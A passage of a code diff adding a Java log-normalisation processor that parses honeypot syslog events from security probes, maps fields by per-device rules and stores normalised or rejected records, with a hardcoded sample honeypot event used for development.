try { if (stmt != null) stmt.close(); } catch (SQLException e) { e.printStackTrace(); }
|
||||
try { if (conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); }
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
package com.Modules.Device;
|
||||
|
||||
public class deviceInfo {
|
||||
}
|
||||
+618
@@ -0,0 +1,618 @@
|
||||
package com.Modules.NormalData;
|
||||
import cn.hutool.core.date.DateTime;
|
||||
import com.common.entity.XdrHoneypot;
|
||||
import com.common.mapper.XdrHoneypotMapper;
|
||||
import com.common.service.SyslogNonNormalMessageService;
|
||||
import com.common.util.*;
|
||||
import com.config.AppConfig;
|
||||
import org.apache.ibatis.session.SqlSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import com.common.entity.SyslogMessage;
|
||||
import com.influx.SyslogToInfluxApp;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import com.common.service.DmNormalizeRuleService;
|
||||
import com.common.service.DmColumnService;
|
||||
import com.common.service.SyslogNormalDataService;
|
||||
import com.common.entity.DmColumn;
|
||||
import com.common.service.impl.DmColumnServiceImpl;
|
||||
import com.common.mapper.DmColumnMapper;
|
||||
import org.springframework.stereotype.Service;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import com.common.mapper.DmColumnMapper;
|
||||
import com.common.mapper.DmNormalizeRuleMapper;
|
||||
import java.sql.Timestamp;
|
||||
import java.util.*;
|
||||
|
||||
import org.springframework.stereotype.Component;
|
||||
import com.fasterxml.jackson.core.type.TypeReference;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
|
||||
import org.json.JSONObject;
|
||||
import com.common.entity.RuleContent.*;
|
||||
import com.common.entity.SyslogNonNormalMessage;
|
||||
import org.joda.time.LocalDateTime;
|
||||
import com.common.service.LogDataFilterService;
|
||||
import com.common.service.LogDataCompleteService;
|
||||
import com.common.service.DeviceCollectTaskService;
|
||||
import com.common.entity.DeviceCollectTask;
|
||||
import com.common.entity.DeviceDevice;
|
||||
import com.common.util.TimeConversionUtils;
|
||||
import com.common.service.DeviceDeviceService;
|
||||
|
||||
public class LogNormalProcessor {
|
||||
private static final Logger logger = LoggerFactory.getLogger(LogNormalProcessor.class);
|
||||
|
||||
private String strLogMsg ;
|
||||
private String strKafkaMessage;
|
||||
private String strDeviceInfo;
|
||||
private String strDataType ="json" ;
|
||||
private Map<String, Object> messageMap ;
|
||||
private Map<String, String> deviceInfoMap ;
|
||||
private String strSyslogUUID ;
|
||||
private String strSyslogTopic ;
|
||||
private boolean isSaveNonNormal =false ;
|
||||
|
||||
@Autowired
|
||||
public DmNormalizeRuleService dmNormalizeRuleService ;
|
||||
@Autowired
|
||||
public DmColumnService dmColumnService ;
|
||||
@Autowired
|
||||
public SyslogNormalDataService syslogNormalDataService =SpringContextUtil.getBean(SyslogNormalDataService.class);
|
||||
@Autowired
|
||||
private SyslogNonNormalMessageService messageService =SpringContextUtil.getBean(SyslogNonNormalMessageService.class);
|
||||
@Autowired
|
||||
private LogDataFilterService logDataFilterService= SpringContextUtil.getBean(LogDataFilterService.class);
|
||||
|
||||
@Autowired
|
||||
private LogDataCompleteService logDataCompleteService= SpringContextUtil.getBean(LogDataCompleteService.class);
|
||||
@Autowired
|
||||
private DeviceCollectTaskService deviceCollectTaskService= SpringContextUtil.getBean(DeviceCollectTaskService.class);
|
||||
@Autowired
|
||||
private DeviceDeviceService deviceDeviceService= SpringContextUtil.getBean(DeviceDeviceService.class);
|
||||
|
||||
@Autowired
|
||||
SyslogNonNormalMessage syslogNonNormalMessage=new SyslogNonNormalMessage();
|
||||
|
||||
@Autowired
|
||||
DmColumnMapper dmColumnMapper;
|
||||
@Autowired
|
||||
DmNormalizeRuleMapper dmNormalizeRuleMapper;
|
||||
|
||||
private List<Map<String, Object>> dmNormalizeRuleList;
|
||||
private List<Map<String, Object>> dmColumnList;
|
||||
private LinkedHashMap<String, Object> OrginalColumnMap ;
|
||||
|
||||
public LogNormalProcessor( String LogMsg, String syslogUUID,String syslogTopic) {
|
||||
|
||||
/** 标准化数据处理步骤 */
|
||||
//初始化 (获取syslog_normal_data 表全部字段的属性、设备ID对应的规则设置、转化成JSON)
|
||||
//判断数据解析类型(json、键值、xml、正则表达式、分割符)解析syslogMessage 字段转成 HashMAP
|
||||
//匹配规则内容,获取字段映射关系配置,抽取命中的字段名称、数值
|
||||
//判断字段内容及类型,根据数据类型属性,进行内容转换。
|
||||
//生成insert SQL语句、执行入库操作。
|
||||
strKafkaMessage=LogMsg;
|
||||
strSyslogUUID=syslogUUID;
|
||||
strSyslogTopic=syslogTopic;
|
||||
|
||||
if(!LogMsg.isEmpty()) {
|
||||
strLogMsg = SyslogParser.substringAfterFirstCloseBracket(LogMsg);
|
||||
strDeviceInfo=SyslogParser.substringBeforeFirstChar(LogMsg,']');
|
||||
}
|
||||
else{
|
||||
LogMsg="[receive_time=20251118165909470 device_id=1 device_name=honeypot vendor=changting data_type=json device_collect_id=1]<14>1 2025-09-24T11:52:26Z 5f46d3be75e1 supermario 128 honeypot_event - {\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
strLogMsg="<14>1 2025-09-24T11:52:26Z 5f46d3be75e1 supermario 128 honeypot_event - {\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
strDeviceInfo=SyslogParser.substringBeforeFirstChar(LogMsg,']');
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 初始化数据init()
|
||||
*/
|
||||
public void init()
|
||||
{
|
||||
Map<String,String> mapdev =SyslogParser.parseKeyValuePairs(strDeviceInfo);
|
||||
deviceInfoMap=mapdev;
|
||||
//获取日志对应的设备ID
|
||||
long deviceID=Long.parseLong(mapdev.get("device_id"));
|
||||
System.out.println("device_id:"+deviceID );
|
||||
strDataType=mapdev.get("data_type");
|
||||
//getDeviceID(strLogMsg);
|
||||
try{
|
||||
// 通过工具类获取Service实例
|
||||
dmColumnService= SpringContextUtil.getBean(DmColumnService.class);
|
||||
dmNormalizeRuleService= SpringContextUtil.getBean(DmNormalizeRuleService.class);
|
||||
if(deviceID>0) {
|
||||
dmNormalizeRuleList = dmNormalizeRuleService.selectByDeviceIdAuto(deviceID);
|
||||
}
|
||||
//dmColumnList=dmColumnService.selectAllNormal();
|
||||
//System.out.println("dmColumnList size:"+ dmColumnList.size());
|
||||
|
||||
//OrginalColumnMap=getMessageToMap(strLogMsg);
|
||||
//解析SyslogMessage
|
||||
//SyslogMessage logMsg = SyslogParser.parse(strLogMsg);
|
||||
//设备对应的规则normal rule Map 进行标准化数据处理
|
||||
for (int i = 0; i < dmNormalizeRuleList.size(); i++) {
|
||||
try {
|
||||
Map<String, Object> dmNormalizeRule = dmNormalizeRuleList.get(i);
|
||||
String data_type = dmNormalizeRule.get("data_type").toString();
|
||||
//数据类型及格式不符,则break;
|
||||
System.out.println("索引: " + i + ", 值: " + dmNormalizeRule);
|
||||
System.out.println("normalrule ID: " + dmNormalizeRule.get("id") + ", display_name:" + dmNormalizeRule.get("display_name") + " data_type:" + dmNormalizeRule.get("data_type"));
|
||||
//数据类型不匹配,则跳过规则
|
||||
//if (!data_type.equals(strDataType)) break;
|
||||
|
||||
//获取syslog message 文本解析配置项
|
||||
OrginalColumnMap = getMessageToMap(dmNormalizeRule, strLogMsg, data_type);
|
||||
if ((OrginalColumnMap == null) || (OrginalColumnMap.size()==0)) {
|
||||
logger.error("OrginalColumnMap 对象获取为空");
|
||||
//保存非标日志信息
|
||||
syslogNonNormalMessage.setReason("Log解析异常");
|
||||
syslogNonNormalMessage.setReasonDetail("log解析异常,返回规则名称:"+dmNormalizeRule.get("display_name") +",OrginalColumnMap 对象获取为空");
|
||||
if(isSaveNonNormal==false)
|
||||
SaveNonNormalMessage(deviceID, DateTime.now());
|
||||
continue;
|
||||
}
|
||||
List<HashMap<String, Object>> destColumnList = getRuleContentMappers(dmNormalizeRule);
|
||||
//解析字段匹配已命中的配置规则字段
|
||||
List<HashMap<String, Object>> ruleColumnList = getNormalColumnList(OrginalColumnMap, destColumnList);
|
||||
//System.out.println("ruleColumnList :"+ ruleColumnList);
|
||||
Map<String, Object> destMap = getColumnMap(ruleColumnList);
|
||||
//List<HashMap<String ,Object>> destMap2= getCompleteColumnsList(dmNormalizeRule);
|
||||
|
||||
//数据处理-过滤规则
|
||||
if (logDataFilterService.evaluateFilterRule(dmNormalizeRule.get("rule_content").toString(), destMap))
|
||||
continue;
|
||||
|
||||
//数据处理-补全规则
|
||||
logDataCompleteService.processDataCompletion(dmNormalizeRule.get("rule_content").toString(), destMap);
|
||||
//long ruleid=Long.parseLong(dmNormalizeRule.get("id").toString());
|
||||
SaveNormalData(deviceID, DateTime.now(), destMap, Long.parseLong(dmNormalizeRule.get("id").toString()), dmNormalizeRule.get("name").toString());
|
||||
|
||||
} catch (Exception ex) {
|
||||
logger.error("泛化规则处理失败:" + ex.getMessage());
|
||||
System.out.println(ex.getMessage());
|
||||
/**
|
||||
//保存非标日志信息
|
||||
syslogNonNormalMessage.setReason("泛化规则处理失败");
|
||||
syslogNonNormalMessage.setReasonDetail("泛化规则处理失败,失败详情:"+ ex.getMessage());
|
||||
SaveNonNormalMessage(deviceID,DateTime.now());
|
||||
**/
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
logger.error("处理初始化异常:"+ex.getMessage());
|
||||
System.out.println(ex.getMessage());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
//获取数据泛化规则的列表字段,提取 Cropper_params
|
||||
public Cropper_paramsType getCropperParams( Map<String, Object> dmNormalizeRule )
|
||||
{
|
||||
Cropper_paramsType cropperParams = new Cropper_paramsType();
|
||||
try {
|
||||
JSONObject jsonObject = new JSONObject( dmNormalizeRule.get("rule_content").toString());
|
||||
if (jsonObject.isEmpty()) return null;
|
||||
|
||||
cropperParams.sethead_key(jsonObject.getJSONObject("cropper_params").get("head_key").toString());
|
||||
//需要判断是否字符串head_offset是否空
|
||||
cropperParams.sethead_offset(Integer.parseInt(jsonObject.getJSONObject("cropper_params").get("head_offset").toString()));
|
||||
cropperParams.settail_key(jsonObject.getJSONObject("cropper_params").get("tail_key").toString());
|
||||
//需要判断是否字符串tail_offset是否空
|
||||
cropperParams.settail_offset( Integer.parseInt(jsonObject.getJSONObject("cropper_params").get("tail_offset").toString()));
|
||||
return cropperParams;
|
||||
}catch (Exception ex) {
|
||||
logger.error("getCropperParams:"+ex.getMessage());
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public List<HashMap<String ,Object>> getRuleContentMappers( Map<String, Object> dmNormalizeRule )
|
||||
{
|
||||
List<HashMap<String, Object>> filedList =null;
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
try {
|
||||
// 转换为list Map
|
||||
//Map<String, Object> rule_contentMap = objectMapper.readValue( dmNormalizeRule.get("rule_content").toString(), Map.class);
|
||||
//if (rule_contentMap.isEmpty()) return null;
|
||||
JSONObject jsonObject = new JSONObject( dmNormalizeRule.get("rule_content").toString());
|
||||
if (jsonObject.isEmpty()) return null;
|
||||
ObjectMapper objectMapper_mappers = new ObjectMapper();
|
||||
filedList =readJsonToList( jsonObject.get("mappers").toString() );
|
||||
|
||||
}catch (Exception ex) {
|
||||
logger.error("getRuleContentMappers异常:"+ex.getMessage());
|
||||
}
|
||||
return filedList;
|
||||
}
|
||||
|
||||
|
||||
|
||||
public List<HashMap<String, Object>> getCompleteColumnsList( Map<String, Object> dmNormalizeRule )
|
||||
{
|
||||
List<HashMap<String, Object>> filedList =null;
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
try {
|
||||
// 转换为list Map
|
||||
//Map<String, Object> rule_contentMap = objectMapper.readValue( dmNormalizeRule.get("rule_content").toString(), Map.class);
|
||||
//if (rule_contentMap.isEmpty()) return null;
|
||||
JSONObject jsonObject = new JSONObject( dmNormalizeRule.get("rule_content").toString());
|
||||
if (jsonObject.isEmpty()) return null;
|
||||
ObjectMapper objectMapper_mappers = new ObjectMapper();
|
||||
filedList =readJsonToList( jsonObject.get("complete_columns").toString() );
|
||||
|
||||
}catch (Exception ex) {
|
||||
logger.error("getCompleteColumnsList:"+ex.getMessage());
|
||||
}
|
||||
return filedList;
|
||||
}
|
||||
/**
|
||||
* 将JSON 字符串转换为 List<HashMap<String, Object>>
|
||||
*/
|
||||
public static List<HashMap<String, Object>> readJsonToList(String jsonStr) {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
try {
|
||||
return objectMapper.readValue(
|
||||
jsonStr,
|
||||
new TypeReference<List<HashMap<String, Object>>>() {}
|
||||
);
|
||||
} catch (Exception e) {
|
||||
|
||||
logger.error("readJsonToList 解析失败:"+jsonStr);
|
||||
//throw new RuntimeException("JSON 解析失败: " + e.getMessage(), e);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
/**\
|
||||
* 判断日志信息的数据类型
|
||||
* @param logMsg
|
||||
* @return
|
||||
*/
|
||||
public String getLogDataType( String logMsg)
|
||||
{
|
||||
//判断日志信息的数据类型(json、regex、kv、sep、xml)
|
||||
//默认返回json
|
||||
return "json";
|
||||
}
|
||||
|
||||
public int getDeviceID( String logMsg)
|
||||
{
|
||||
//解析日志信息头部,获取device_id
|
||||
// 默认返回device_id =1
|
||||
return 1;
|
||||
}
|
||||
//获取log 内容字段及数据值
|
||||
public LinkedHashMap<String, Object> getMessageToMap( String MsgContent )
|
||||
{
|
||||
LinkedHashMap<String, Object> linkMap =null;
|
||||
if(strDataType.equals("json")) {
|
||||
//json 类型
|
||||
//解析SyslogMessage
|
||||
SyslogMessage msg = SyslogParser.parse(MsgContent);
|
||||
System.out.println("解析结果-log content: " + msg.getMessage().toString());
|
||||
String complexJson = "{\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
System.out.println("complexJson content: " + complexJson);
|
||||
//静态字符串、编码有问题,临时用 静态字符串做测试,流程环境没问题
|
||||
if(AppConfig.geRunEnvironment().equals("dev")) {
|
||||
//LinkedHashMap<String, Object> flatMap = JsonParser.parseJsonToFlatMap(complexJson);
|
||||
LinkedHashMap<String, Object> flatMap =JsonParser.jsonToMap(complexJson);
|
||||
flatMap.forEach((key, value) -> System.out.println(key + " = " + value));
|
||||
return flatMap;
|
||||
}
|
||||
else
|
||||
{
|
||||
//LinkedHashMap<String, Object> flatMap = JsonParser.parseJsonToFlatMap(msg.getMessage());
|
||||
LinkedHashMap<String, Object> flatMap =JsonParser.jsonToMap(msg.getMessage());
|
||||
flatMap.forEach((key, value) -> System.out.println(key + " = " + value));
|
||||
return flatMap;
|
||||
}
|
||||
}
|
||||
else if(strDataType.equals("kv")) //key-value 键值类型
|
||||
{
|
||||
return null;
|
||||
}
|
||||
else if(strDataType.equals("sep")) //分隔符
|
||||
{
|
||||
return null;
|
||||
}
|
||||
else if(strDataType.equals("xml")) //类型 xml
|
||||
{
|
||||
return null;
|
||||
}
|
||||
else if(strDataType.equals("regex")) //正则表达式
|
||||
{
|
||||
return null;
|
||||
}
|
||||
// List<Map<String, Object>> rulelst=dmNormalizeRuleService.selectByDeviceId((long)1);
|
||||
return linkMap;
|
||||
}
|
||||
|
||||
|
||||
//获取log message内容字段及数据值
|
||||
public LinkedHashMap<String, Object> getMessageToMap( Map<String, Object> dmNormalizeRule, String MsgContent , String dataType)
|
||||
{
|
||||
LinkedHashMap<String, Object> linkMap = new LinkedHashMap<>();
|
||||
try {
|
||||
//String decode =dmNormalizeRule.get("decode").toString();
|
||||
Cropper_paramsType cropperParams = getCropperParams(dmNormalizeRule);
|
||||
if (dataType.equals("json")) {
|
||||
String strJson = logNormalData.ParserMessageJsonType(MsgContent, cropperParams);
|
||||
LinkedHashMap<String, Object> result1 = NestedJsonParserUtil.safeParseJson(strJson);
|
||||
LinkedHashMap<String, Object> flattened = NestedJsonUtils.flattenNestedJson(result1);
|
||||
return flattened;
|
||||
//parseJsonToFlatMap 复杂的json转换、解析过程有异常
|
||||
//return JsonParser.parseJsonToFlatMap(strJson);
|
||||
// return JsonParser.jsonToMap(strJson);
|
||||
}
|
||||
else if (dataType.equals("kv")) //key-value 键值类型
|
||||
{
|
||||
String strKeyVal = logNormalData.ParserMessageJsonType(MsgContent, cropperParams);
|
||||
KvTextParser kvTextParser =new KvTextParser();
|
||||
kv_paramsType kvparams=logNormalData.getkv_paramsType( dmNormalizeRule);
|
||||
linkMap= kvTextParser.parseKvText(strKeyVal,kvparams);
|
||||
return linkMap;
|
||||
}
|
||||
else if (dataType.equals("sep")) //分隔符
|
||||
{
|
||||
//获取分隔符
|
||||
String SepKey=logNormalData.sepType(dmNormalizeRule);
|
||||
String strSep = logNormalData.ParserMessageJsonType(MsgContent, cropperParams);
|
||||
linkMap= TextParserUtil.parseSeparatedText(strSep, SepKey);
|
||||
return linkMap;
|
||||
}
|
||||
else if (dataType.equals("xml")) //类型 xml
|
||||
{
|
||||
return linkMap;
|
||||
}
|
||||
else if (dataType.equals("regex")) //正则表达式
|
||||
{
|
||||
String strRegex = logNormalData.ParserMessageJsonType(MsgContent, cropperParams);
|
||||
String regexp= logNormalData.Regexp(dmNormalizeRule);
|
||||
linkMap= RegexTextParser.parseWithRegex(strRegex,regexp );
|
||||
return linkMap;
|
||||
}
|
||||
}catch (Exception ex) {
|
||||
logger.error("getMessageToMap:"+ex.getMessage());
|
||||
return null;
|
||||
}
|
||||
return linkMap;
|
||||
}
|
||||
|
||||
/**
|
||||
* 根据设备ID获取配置规则
|
||||
* @param device_id
|
||||
* @return List<Map<String, Object>>
|
||||
*/
|
||||
public List<Map<String, Object>> getRuleList( long device_id)
|
||||
{
|
||||
List<Map<String, Object>> rulelst=dmNormalizeRuleService.selectByDeviceId((long)1);
|
||||
if (rulelst!=null)
|
||||
{
|
||||
System.out.println("rulelst: " + rulelst);
|
||||
}
|
||||
else{
|
||||
logger.error(" List<Map<String, Object>> rulelst is null!" );
|
||||
}
|
||||
return rulelst;
|
||||
}
|
||||
|
||||
/**
|
||||
* 查找命中配置规则的字段及数值
|
||||
* @param destColumnList 泛化目标字段list
|
||||
* @param destColumnList 日志源字段及数值list
|
||||
* @return
|
||||
*/
|
||||
public List<HashMap<String,Object>> getNormalColumnList( LinkedHashMap<String, Object> orginColumnMap ,List<HashMap<String, Object>> destColumnList )
|
||||
{
|
||||
List<HashMap<String, Object>> columnlist =new ArrayList<>();
|
||||
// 原始解析字段遍历泛化规则目标字段
|
||||
for (Map.Entry<String, Object > entry : orginColumnMap.entrySet()) {
|
||||
//System.out.println(entry.getKey() + ": " + entry.getValue());
|
||||
for (Map<String, Object> map : destColumnList) {
|
||||
//System.out.println( "origin_field: " + map.get("origin_field").toString());
|
||||
if ( map.get("origin_field").toString().equals(entry.getKey()) ) {
|
||||
System.out.println(map);
|
||||
Map<String, Object> normalColumMap =new LinkedHashMap<>();
|
||||
normalColumMap.put("origin_field",entry.getKey() );
|
||||
normalColumMap.put("dest_field",map.get("dest_field").toString());
|
||||
normalColumMap.put("action",(HashMap<String, Object>)map.get("action") );
|
||||
//normalColumMap.put("mapping ",entry.getKey() );
|
||||
normalColumMap.put("origin_field_value",entry.getValue() );
|
||||
// System.out.println("action: " + map.get("action").toString());
|
||||
if( ((HashMap<String, Object>)map.get("action")).get("type").equals("equal"))
|
||||
//直接赋值
|
||||
normalColumMap.put("dest_field_value",entry.getValue() );
|
||||
else if(((HashMap<String, Object>)map.get("action")).get("type").equals("mapping"))
|
||||
{
|
||||
//mapping 映射枚举值
|
||||
normalColumMap.put("dest_field_value",entry.getValue() );
|
||||
normalColumMap.put("action_param",((HashMap<String, Object>)map.get("action")).get("param") );
|
||||
HashMap<String, Object> action_param=(HashMap<String, Object>)((HashMap<String, Object>)map.get("action")).get("param") ;
|
||||
//匹配并获取映射枚举值
|
||||
normalColumMap.put("dest_field_value",getMappingValue(action_param ,entry.getValue().toString() ));
|
||||
}
|
||||
else if(((HashMap<String, Object>)map.get("action")).get("type").equals("time"))
|
||||
{
|
||||
//time 类型
|
||||
//normalColumMap.put("dest_field_value",entry.getValue() );
|
||||
normalColumMap.put("action_param",((HashMap<String, Object>)map.get("action")).get("param") );
|
||||
HashMap<String, Object> action_param=(HashMap<String, Object>)((HashMap<String, Object>)map.get("action")).get("param") ;
|
||||
//匹配时间格式并转成换整型格式
|
||||
try {
|
||||
long longTime = TimeConversionUtils.convertToMillis(entry.getValue().toString(), action_param.get("timezone").toString());
|
||||
normalColumMap.put("dest_field_value", longTime);
|
||||
} catch (Exception e) {
|
||||
logger.error("时间类型转换错误,源值:" + entry.getValue().toString() + ",java_date_format:" + action_param.get("java_date_format").toString());
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
columnlist.add((HashMap<String, Object>)normalColumMap);
|
||||
//System.out.println( "normalColumMap: " +normalColumMap);
|
||||
//存在源字段配置多个目标字段,使用continue,而不是break
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return columnlist;
|
||||
}
|
||||
|
||||
/**
|
||||
* paramMapping Map匹配查找对应的值
|
||||
* @param paramMappingValueMap
|
||||
* @param
|
||||
* @return
|
||||
*/
|
||||
public Object getMappingValue(HashMap<String, Object> paramMappingValueMap,String value)
|
||||
{
|
||||
HashMap<String, Object> Map= (HashMap<String, Object>)paramMappingValueMap.get("mapping");
|
||||
for (Map.Entry<String, Object > entry : Map.entrySet()) {
|
||||
if ( entry.getKey().equals(value) ) {
|
||||
return entry.getValue();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取字段Map,包含字段field及Value值
|
||||
* @param normalColumnList
|
||||
* @return
|
||||
*/
|
||||
public Map<String, Object > getColumnMap( List<HashMap<String,Object>> normalColumnList )
|
||||
{
|
||||
Map<String, Object > columnMap= new HashMap<>();
|
||||
for (Map<String, Object> map : normalColumnList) {
|
||||
|
||||
Object destFieldValue = map.get("dest_field_value");
|
||||
// 判断 dest_field_value 是否为 String 且包含 "\u0000"
|
||||
if (destFieldValue instanceof String && ((String) destFieldValue).contains("\u0000")) {
|
||||
// 替换掉所有 "\u0000" 字符
|
||||
destFieldValue = ((String) destFieldValue).replace("\u0000", "");
|
||||
}
|
||||
columnMap.put(map.get("dest_field").toString(), destFieldValue);
|
||||
//columnMap.put(map.get("dest_field").toString(),map.get("dest_field_value"));
|
||||
}
|
||||
return columnMap;
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存数据到标准化表
|
||||
* @param deviceId
|
||||
* @param logtime
|
||||
* @param logColumnMap
|
||||
*/
|
||||
public void SaveNormalData(long deviceId , DateTime logtime, Map<String, Object > logColumnMap, long normalizeRuleId ,String normalizeRuleName)
|
||||
{
|
||||
try {
|
||||
if(logColumnMap.isEmpty() )
|
||||
{
|
||||
logger.error("SaveNormalData ->logColumnMap 为空,syslogUUID:" +this.strSyslogUUID);
|
||||
//保存非标日志信息
|
||||
syslogNonNormalMessage.setReason("未命中规则");
|
||||
syslogNonNormalMessage.setReasonDetail("失败详情:logColumnMap对象字段为空" );
|
||||
if(isSaveNonNormal==false)
|
||||
SaveNonNormalMessage(deviceId,DateTime.now());
|
||||
return ;
|
||||
}
|
||||
Map<String, Object> columnMap = logColumnMap;
|
||||
//补全设备信息字段
|
||||
CompletionDeviceInfo(columnMap, deviceId);
|
||||
|
||||
columnMap.put("device_id", deviceId);
|
||||
columnMap.put("log_time", logtime);
|
||||
columnMap.put("id", UUID.randomUUID().toString());
|
||||
columnMap.put("normalize_rule_id", normalizeRuleId);
|
||||
columnMap.put("normalize_rule_name", normalizeRuleName);
|
||||
columnMap.put("syslog_uuid", this.strSyslogUUID);
|
||||
columnMap.put("syslog_topic", this.strSyslogTopic);
|
||||
System.out.println("columnMap:"+columnMap);
|
||||
syslogNormalDataService.insertDynamic(columnMap);
|
||||
} catch (Exception e) {
|
||||
logger.error("SaveNormalData失败 " );
|
||||
//保存非标日志信息
|
||||
syslogNonNormalMessage.setReason("入库失败");
|
||||
syslogNonNormalMessage.setReasonDetail("入库失败,normalizeRuleName :"+normalizeRuleName+",失败详情:"+ e.getMessage());
|
||||
if(isSaveNonNormal==false)
|
||||
SaveNonNormalMessage(deviceId,DateTime.now());
|
||||
throw new RuntimeException("SaveNormalData 失败: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 补全设备信息字段
|
||||
* @param columnMap
|
||||
* @param deviceID
|
||||
*/
|
||||
public void CompletionDeviceInfo(Map<String, Object> columnMap ,Long deviceID)
|
||||
{
|
||||
try {
|
||||
DeviceDevice devInfo = deviceDeviceService.getByIdSafely( Long.valueOf(deviceID).intValue() );
|
||||
if (devInfo != null) {
|
||||
columnMap.put("device_ip", devInfo.getIp());
|
||||
columnMap.put("device_manufacturer", devInfo.getVendor());
|
||||
columnMap.put("device_name", devInfo.getName());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
logger.error("CompletionDeviceInfo 失败!ID:"+deviceID );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存非标日志记录
|
||||
* @param deviceId
|
||||
* @param logtime
|
||||
*/
|
||||
public void SaveNonNormalMessage(long deviceId , DateTime logtime)
|
||||
{
|
||||
try {
|
||||
SyslogNonNormalMessage normalMessage =new SyslogNonNormalMessage() ;
|
||||
//获取日志对应的设备ID
|
||||
Integer collect_id= Integer.parseInt(this.deviceInfoMap.get("device_collect_id"));
|
||||
DeviceCollectTask deviceCollectTask=deviceCollectTaskService.getById(collect_id);
|
||||
normalMessage.setId( UUID.randomUUID().toString());
|
||||
normalMessage.setDeviceId((int)deviceId);
|
||||
normalMessage.setLogTime(logtime.toLocalDateTime());
|
||||
normalMessage.setRuleTime(logtime.toLocalDateTime());
|
||||
normalMessage.setSyslogMessage(this.strLogMsg);
|
||||
normalMessage.setSyslogTopic(this.strSyslogTopic);
|
||||
normalMessage.setSyslogUuid(this.strSyslogUUID);
|
||||
normalMessage.setHeaderMessage(this.strDeviceInfo);
|
||||
normalMessage.setEtlNode("etlgo");
|
||||
normalMessage.setReason( syslogNonNormalMessage.getReason());
|
||||
normalMessage.setReasonDetail( syslogNonNormalMessage.getReasonDetail());
|
||||
//采集探针名称
|
